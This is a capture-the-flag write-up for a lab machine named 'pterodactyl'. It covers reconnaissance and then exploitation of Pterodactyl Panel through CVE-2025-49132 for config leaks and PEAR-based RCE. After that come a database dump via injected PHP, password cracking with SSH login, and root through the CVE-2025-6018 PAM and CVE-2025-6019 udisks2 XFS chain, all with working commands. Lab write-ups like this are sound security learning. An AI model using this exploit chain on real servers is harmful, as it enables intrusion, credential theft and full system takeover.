reconnaissance
nmap

1 | nmap -sC -sV pterodactyl.htb --min-rate 1000 |
also checked for minecraft:
1 | nmap -p 25565 -sV 10.129.2.123 |
minecraft port is filtered - not directly accessible from our end.
directory enumeration
1 | feroxbuster -u http://pterodactyl.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --filter-status 404 |
changelog analysis
the front page links to a changelog.txt which leaks a ton of useful information:
1 | MonitorLand - CHANGELOG.txt |
key takeaways:
- Pterodactyl Panel v1.11.10 - game server management panel, outdated version, likely vulnerable
- MariaDB 11.8.3 - database backend, potential credential reuse or SQL injection vectors
- phpinfo() is enabled - free information disclosure
- PHP-PEAR is installed - this becomes important later
phpinfo enumeration
from the changelog we know phpinfo() debugging is enabled:
1 | curl http://pterodactyl.htb/phpinfo.php -o phpinfo.html |
grepping through it reveals some interesting things:
1 | grep -i "disable_functions" phpinfo.html |
no disabled functions - meaning dangerous functions like system() and exec() are all available. if we get any PHP code execution, we have RCE.
also important for later:
1 | <tr><td class="e">include_path</td><td class="v">.:/usr/share/php8:/usr/share/php/PEAR</td><td class="v">.:/usr/share/php8:/usr/share/php/PEAR</td></tr> |
the PHP include path shows PEAR lives at /usr/share/php/PEAR, not the default /usr/share/php. keep this in mind.
subdomain enumeration
ran ffuf against the target, filtering out the default response size:
1 | ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://pterodactyl.htb -H "Host: FUZZ.pterodactyl.htb" -fs 145 -t 100 |

found the Pterodactyl panel at panel.pterodactyl.htb.
i’ll note here that i actually found www first using a different ffuf command with -fw 1 instead of -fs 145, which returned a ton of false positives (all size 145 302 redirects). i had to re-run with the size filter to find the real result. lesson learned: always filter aggressively on subdomain enumeration.
initial foothold
CVE-2025-49132 - leaking database credentials
found a PoC for CVE-2025-49132, a path traversal vulnerability in Pterodactyl Panel that allows reading Laravel config files (not a general LFI though - it’s limited to the app’s config).
my first attempt with the PoC came back negative, but that was because the PoC hardcodes the panel path. since our panel is at a subdomain, not the default path, the PoC needed to be pointed at the right URL:
1 | python3 poc.py http://panel.pterodactyl.htb |
leaked database credentials:
- username:
pterodactyl - password:
PteraPanel - database:
panelon127.0.0.1:3306
these are local database credentials, not panel login credentials - they don’t work on the web login.
CVE-2025-49132 - remote code execution
found a second PoC that chains the same CVE into RCE via the /locales/locale.json endpoint.
how it works: the locale and namespace parameters are passed directly to PHP’s include() without sanitization or authentication. normally there’s a hash parameter that prevents abuse, but it’s not enforced in unpatched versions. the PoC leverages this to include pearcmd.php (remember PHP-PEAR from the changelog?) which can be abused to write and execute arbitrary PHP files.
initial failures: my first several attempts all failed with “no output (pearcmd not present on target?)”:
1 | python3 rce.py http://panel.pterodactyl.htb --rce-cmd "id" |
the PoC defaults to looking for pearcmd.php in /usr/share/php, but remember what phpinfo told us - the actual path is /usr/share/php/PEAR. once i corrected this:
1 | python3 rce.py http://panel.pterodactyl.htb --rce-cmd "id" --pear-dir /usr/share/php/PEAR |
1 | ════════════════════════════════════════════════════════════ |
we have RCE as wwwrun. however, i could not get a reverse shell to work no matter what i tried - different encodings, different shells, different listeners, different VPN regions. no idea why. so instead i just enumerated manually through the RCE.
database dumping via RCE
since we had database credentials from earlier but couldn’t connect directly (no mysql client on the box, or at least it wasn’t cooperating), i wrote a PHP script via RCE to query the database:
1 | python3 rce.py http://panel.pterodactyl.htb --rce-cmd "printf '<?php \$c=new mysqli(\"127.0.0.1\",\"pterodactyl\",\"PteraPanel\",\"panel\");\$r=\$c->query(\"SELECT id,username,email,password FROM users\");\nwhile(\$row=\$r->fetch_assoc()){echo \$row[\"id\"].\",\".\$row[\"username\"].\",\".\$row[\"email\"].\",\".\$row[\"password\"].\"\\n\";} ?>' > /tmp/q.php" --pear-dir /usr/share/php/PEAR |
1 | python3 rce.py http://panel.pterodactyl.htb --rce-cmd "php /tmp/q.php" --pear-dir /usr/share/php/PEAR |
1 | [+] Output: |
cracking hashes & SSH access
1 | john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt |
only phileasfogg3‘s hash cracked. SSH’d in with phileasfogg3:!QAZ2wsx and grabbed user.txt.
privilege escalation
sudo & the targetpw gotcha
1 | phileasfogg3@pterodactyl:~> sudo -l |
looks like we can run anything as sudo - but when you actually try, it asks for root’s password, not ours. this had me stuck for a while until i noticed the targetpw setting in the sudo defaults. targetpw means sudo asks for the target user’s password (root by default) instead of the invoking user’s password. so (ALL) ALL is essentially useless without knowing root’s password.
CVE-2025-6018 - PAM environment variable poisoning
checking PAM version:
1 | rpm -qi pam | grep -E "Version|Release" |
PAM 1.3.0 is vulnerable to CVE-2025-6018. the vulnerability is in the pam_env module where user_readenv is enabled by default. when a user logs in via SSH, pam_env reads ~/.pam_environment, and any variables set there get processed by pam_systemd later in the session stack. this lets us inject environment variables that trick systemd into treating our session as a local graphical session.
verified the module is loaded:
1 | grep -r "pam_env" /etc/pam.d/ |
ran the PoC:
1 | python3 CVE-2025-6018.py -i 10.129.3.36 -u phileasfogg3 -p '!QAZ2wsx' |
this writes to ~/.pam_environment:
1 | XDG_SEAT OVERRIDE=seat0 |
after re-authenticating via SSH, our session is now seen as a local active graphical session by polkit. this is important because it unlocks polkit actions that are set to implicit active: yes - meaning they don’t require authentication for “active” sessions. we’re not root yet, but we now have access to udisks2 actions like mounting and resizing filesystems without authentication.
CVE-2025-6019 - udisks2 XFS resize exploit
checking what polkit actions are available to active sessions:
1 | pkaction --verbose | grep "implicit active: yes" |
found several udisks2 actions available without auth:
org.freedesktop.udisks2.loop-setuporg.freedesktop.udisks2.filesystem-mountorg.freedesktop.udisks2.modify-device
my first instinct was to create an ext4 image with a SUID bash, mount it via udisks2, and run it. problem: udisks2 mounts with nosuid by default, and you can’t override it:
1 | udisksctl mount -b /dev/loop0 -o suid,dev,exec |
this is where CVE-2025-6019 comes in. when udisks2 resizes an XFS filesystem via D-Bus, it temporarily mounts it without the nosuid flag. so the attack is:
- create an XFS image containing a SUID root bash
- set up a loop device and keep the filesystem busy so it can’t be unmounted
- trigger a resize via D-Bus, which remounts without
nosuid - execute the SUID bash
used this PoC to generate the XFS image locally (needs root to set SUID), then transferred it to the target:
1 | # on target |
1 | bash-5.3# id |
rooted.